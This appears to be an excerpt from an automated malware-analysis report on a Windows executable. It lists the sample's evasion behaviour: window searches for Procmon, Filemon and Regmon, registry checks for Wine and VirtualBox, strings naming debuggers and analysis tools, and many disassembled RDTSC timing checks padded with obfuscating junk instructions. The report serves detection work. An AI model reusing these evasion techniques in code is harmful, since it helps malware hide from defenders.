Source: C:\Users\user\Desktop\e62iSl0abZ.exeCode function: 0_2_00650AC0 push eax; mov dword ptr [esp], 00000000h0_2_00650AC4
Source: C:\Users\user\Desktop\e62iSl0abZ.exeCode function: 0_2_00999F40 push dword ptr [eax+04h]; ret 0_2_00999F6F
Source: e62iSl0abZ.exeStatic PE information: section name: lydmihkm entropy: 7.956054857848061

Boot Survival

barindex
Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)
Source: C:\Users\user\Desktop\e62iSl0abZ.exeWindow searched: window name: FilemonClassJump to behavior
Source: C:\Users\user\Desktop\e62iSl0abZ.exeWindow searched: window name: PROCMON_WINDOW_CLASSJump to behavior
Source: C:\Users\user\Desktop\e62iSl0abZ.exeWindow searched: window name: RegmonClassJump to behavior
Source: C:\Users\user\Desktop\e62iSl0abZ.exeWindow searched: window name: FilemonClassJump to behavior
Source: C:\Users\user\Desktop\e62iSl0abZ.exeWindow searched: window name: PROCMON_WINDOW_CLASSJump to behavior
Source: C:\Users\user\Desktop\e62iSl0abZ.exeWindow searched: window name: RegmonclassJump to behavior
Source: C:\Users\user\Desktop\e62iSl0abZ.exeWindow searched: window name: FilemonclassJump to behavior
Source: C:\Users\user\Desktop\e62iSl0abZ.exeWindow searched: window name: PROCMON_WINDOW_CLASSJump to behavior

Malware Analysis System Evasion

barindex
Tries to detect sandboxes / dynamic malware analysis system (registry check)
Source: C:\Users\user\Desktop\e62iSl0abZ.exeFile opened: HKEY_CURRENT_USER\Software\WineJump to behavior
Source: C:\Users\user\Desktop\e62iSl0abZ.exeFile opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__Jump to behavior
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Source: e62iSl0abZ.exe, 00000000.00000002.1795185194.0000000000B81000.00000040.00000001.01000000.00000003.sdmp, e62iSl0abZ.exe, 00000000.00000003.1695678293.00000000075C0000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: PROCMON.EXE
Source: e62iSl0abZ.exe, 00000000.00000002.1795185194.0000000000B81000.00000040.00000001.01000000.00000003.sdmp, e62iSl0abZ.exe, 00000000.00000003.1695678293.00000000075C0000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: X64DBG.EXE
Source: e62iSl0abZ.exe, 00000000.00000002.1795185194.0000000000B81000.00000040.00000001.01000000.00000003.sdmp, e62iSl0abZ.exe, 00000000.00000003.1695678293.00000000075C0000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: WINDBG.EXE
Source: e62iSl0abZ.exe, 00000000.00000003.1695678293.00000000075C0000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: SYSINTERNALSNUM_PROCESSORNUM_RAMNAMEALLFREEDRIVERSNUM_DISPLAYSRESOLUTION_XRESOLUTION_Y\*RECENT_FILESPROCESSESUPTIME_MINUTESC:\WINDOWS\SYSTEM32\VBOX*.DLL01VBOX_FIRSTSYSTEM\CONTROLSET001\SERVICES\VBOXSFVBOX_SECONDC:\USERS\PUBLIC\PUBLIC_CHECKWINDBG.EXEDBGWIRESHARK.EXEPROCMON.EXEX64DBG.EXEIDA.EXEDBG_SECDBG_THIRDYADROINSTALLED_APPSSOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALLSOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL%D%S\%SDISPLAYNAMEAPP_NAMEINDEXCREATETOOLHELP32SNAPSHOT FAILED.
Source: e62iSl0abZ.exe, 00000000.00000002.1795185194.0000000000B81000.00000040.00000001.01000000.00000003.sdmp, e62iSl0abZ.exe, 00000000.00000003.1695678293.00000000075C0000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: WIRESHARK.EXE
Tries to detect virtualization through RDTSC time measurements
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: CF1AAC second address: CF1AB6 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FF9A052A486h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: E66993 second address: E66997 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: E66997 second address: E669A7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF9A052A48Ch 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: E669A7 second address: E669BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007FF9A139226Dh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: E669BD second address: E669C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: E669C4 second address: E669D0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007FF9A1392266h 0x0000000a push esi 0x0000000b pop esi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: E52141 second address: E52148 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: E52148 second address: E5214E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: E5214E second address: E52152 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: E52152 second address: E52168 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push edi 0x0000000a jg 00007FF9A1392266h 0x00000010 pushad 0x00000011 popad 0x00000012 pop edi 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: E52168 second address: E5217E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 jmp 00007FF9A052A48Bh 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push edx 0x0000000f pop edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: E5217E second address: E52184 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: E659A5 second address: E659AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ebx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: E659AC second address: E659B2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: E659B2 second address: E659B6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: E659B6 second address: E659BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: E659BC second address: E659CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FF9A052A48Bh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: E659CF second address: E659E3 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FF9A1392266h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 pop eax 0x00000011 push ecx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: E65B28 second address: E65B2C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: E65D72 second address: E65D76 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: E65D76 second address: E65DF6 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FF9A052A486h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007FF9A052A499h 0x0000000f pushad 0x00000010 jmp 00007FF9A052A498h 0x00000015 push eax 0x00000016 pop eax 0x00000017 push ebx 0x00000018 pop ebx 0x00000019 popad 0x0000001a jmp 00007FF9A052A48Fh 0x0000001f popad 0x00000020 push eax 0x00000021 push edx 0x00000022 pushad 0x00000023 push edx 0x00000024 pop edx 0x00000025 jmp 00007FF9A052A490h 0x0000002a js 00007FF9A052A486h 0x00000030 popad 0x00000031 push ebx 0x00000032 pushad 0x00000033 popad 0x00000034 jmp 00007FF9A052A48Fh 0x00000039 pop ebx 0x0000003a rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: E660DD second address: E660F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF9A1392273h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: E660F4 second address: E660F8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: E660F8 second address: E6611B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF9A1392278h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b popad 0x0000000c push eax 0x0000000d push ecx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: E66273 second address: E66277 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: E66277 second address: E66280 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: E6A146 second address: E6A193 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jnp 00007FF9A052A486h 0x0000000d jns 00007FF9A052A486h 0x00000013 popad 0x00000014 popad 0x00000015 mov eax, dword ptr [esp+04h] 0x00000019 pushad 0x0000001a pushad 0x0000001b pushad 0x0000001c popad 0x0000001d pushad 0x0000001e popad 0x0000001f popad 0x00000020 pushad 0x00000021 jmp 00007FF9A052A495h 0x00000026 push edi 0x00000027 pop edi 0x00000028 popad 0x00000029 popad 0x0000002a mov eax, dword ptr [eax] 0x0000002c pushad 0x0000002d push ebx 0x0000002e jmp 00007FF9A052A48Ah 0x00000033 pop ebx 0x00000034 push eax 0x00000035 push edx 0x00000036 pushad 0x00000037 popad 0x00000038 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: E6A193 second address: E6A1B9 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e jmp 00007FF9A1392271h 0x00000013 jo 00007FF9A1392266h 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: E6A1B9 second address: E6A1C4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 je 00007FF9A052A486h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: E6A1C4 second address: E6A21B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pop eax 0x00000008 push edx 0x00000009 add dword ptr [ebp+122D238Fh], ebx 0x0000000f pop esi 0x00000010 push 00000003h 0x00000012 movsx edi, di 0x00000015 push 00000000h 0x00000017 push 00000000h 0x00000019 push ebp 0x0000001a call 00007FF9A1392268h 0x0000001f pop ebp 0x00000020 mov dword ptr [esp+04h], ebp 0x00000024 add dword ptr [esp+04h], 0000001Ch 0x0000002c inc ebp 0x0000002d push ebp 0x0000002e ret 0x0000002f pop ebp 0x00000030 ret 0x00000031 mov esi, 47C82B09h 0x00000036 add edi, 09C1FDB4h 0x0000003c push 00000003h 0x0000003e mov ecx, dword ptr [ebp+122D3849h] 0x00000044 push AEBE7C53h 0x00000049 pushad 0x0000004a push ebx 0x0000004b push eax 0x0000004c push edx 0x0000004d rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: E6A21B second address: E6A272 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jl 00007FF9A052A493h 0x0000000b jmp 00007FF9A052A48Dh 0x00000010 popad 0x00000011 xor dword ptr [esp], 6EBE7C53h 0x00000018 xor dword ptr [ebp+122D2F04h], edx 0x0000001e lea ebx, dword ptr [ebp+1244BFE1h] 0x00000024 push 00000000h 0x00000026 push ecx 0x00000027 call 00007FF9A052A488h 0x0000002c pop ecx 0x0000002d mov dword ptr [esp+04h], ecx 0x00000031 add dword ptr [esp+04h], 00000014h 0x00000039 inc ecx 0x0000003a push ecx 0x0000003b ret 0x0000003c pop ecx 0x0000003d ret 0x0000003e add edi, 3BAE00F4h 0x00000044 push eax 0x00000045 pushad 0x00000046 push edi 0x00000047 push edi 0x00000048 pop edi 0x00000049 pop edi 0x0000004a push ecx 0x0000004b push eax 0x0000004c push edx 0x0000004d rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: E6A2E5 second address: E6A2EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: E6A481 second address: E6A4A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edi 0x00000006 mov dword ptr [esp], eax 0x00000009 mov dword ptr [ebp+122D1F87h], edx 0x0000000f push 00000000h 0x00000011 or si, 7869h 0x00000016 push DCAB283Fh 0x0000001b push eax 0x0000001c push edx 0x0000001d jbe 00007FF9A052A48Ch 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: E6A4A6 second address: E6A4AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: E7BEA4 second address: E7BEAA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: E8923B second address: E89241 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: E89241 second address: E89245 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: E89245 second address: E89256 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 pushad 0x00000008 pushad 0x00000009 jnl 00007FF9A1392266h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: E89256 second address: E89264 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007FF9A052A486h 0x0000000a popad 0x0000000b push ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: E89264 second address: E8926E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push ebx 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: E89388 second address: E8938E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: E8938E second address: E89398 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push esi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: E89398 second address: E893A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 push edx 0x00000008 pop edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: E898EC second address: E898F1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: E89A7A second address: E89A88 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007FF9A052A486h 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: E89A88 second address: E89ABD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 je 00007FF9A139228Ah 0x0000000b jmp 00007FF9A139226Dh 0x00000010 jmp 00007FF9A1392277h 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 pop eax 0x00000019 pushad 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: E89BE6 second address: E89BEA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: E89BEA second address: E89BF8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jo 00007FF9A139226Eh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: E8A171 second address: E8A177 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: E8A177 second address: E8A181 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007FF9A1392266h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: E7D770 second address: E7D77A instructions: 0x00000000 rdtsc 0x00000002 js 00007FF9A052A486h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: E615B3 second address: E615B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: E615B7 second address: E615C1 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FF9A052A486h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: E8AB20 second address: E8AB24 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: E8AB24 second address: E8AB2F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: E8AB2F second address: E8AB35 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: E8AC78 second address: E8AC7C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: E8AC7C second address: E8AC82 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: E7D74D second address: E7D770 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push esi 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FF9A052A499h 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: E8AF32 second address: E8AF3D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FF9A1392266h 0x0000000a pop edi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: E8FE12 second address: E8FE34 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF9A052A494h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: E8FE34 second address: E8FE38 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: E8FE38 second address: E8FE3E instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: E8FEF0 second address: E8FEF9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: E96513 second address: E9651B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: E9651B second address: E9651F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: E9651F second address: E96554 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF9A052A495h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jnl 00007FF9A052A486h 0x00000013 jmp 00007FF9A052A492h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: E988C7 second address: E988CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: E988CC second address: E988E9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF9A052A493h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push esi 0x0000000b push eax 0x0000000c push edx 0x0000000d push esi 0x0000000e pop esi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: E98F12 second address: E98F1C instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FF9A139226Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: E99378 second address: E993B2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 mov dword ptr [esp], ebx 0x0000000a push 00000000h 0x0000000c push edx 0x0000000d call 00007FF9A052A488h 0x00000012 pop edx 0x00000013 mov dword ptr [esp+04h], edx 0x00000017 add dword ptr [esp+04h], 0000001Bh 0x0000001f inc edx 0x00000020 push edx 0x00000021 ret 0x00000022 pop edx 0x00000023 ret 0x00000024 mov dword ptr [ebp+122D2767h], eax 0x0000002a nop 0x0000002b push eax 0x0000002c push edx 0x0000002d push ebx 0x0000002e pushad 0x0000002f popad 0x00000030 pop ebx 0x00000031 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: E9942A second address: E99446 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF9A1392278h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: E9953A second address: E99548 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FF9A052A486h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: E9967C second address: E9968C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007FF9A1392266h 0x0000000a popad 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: E9976A second address: E99789 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jp 00007FF9A052A486h 0x00000009 jnp 00007FF9A052A486h 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007FF9A052A48Ah 0x0000001a rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: E9999D second address: E999B0 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FF9A1392268h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
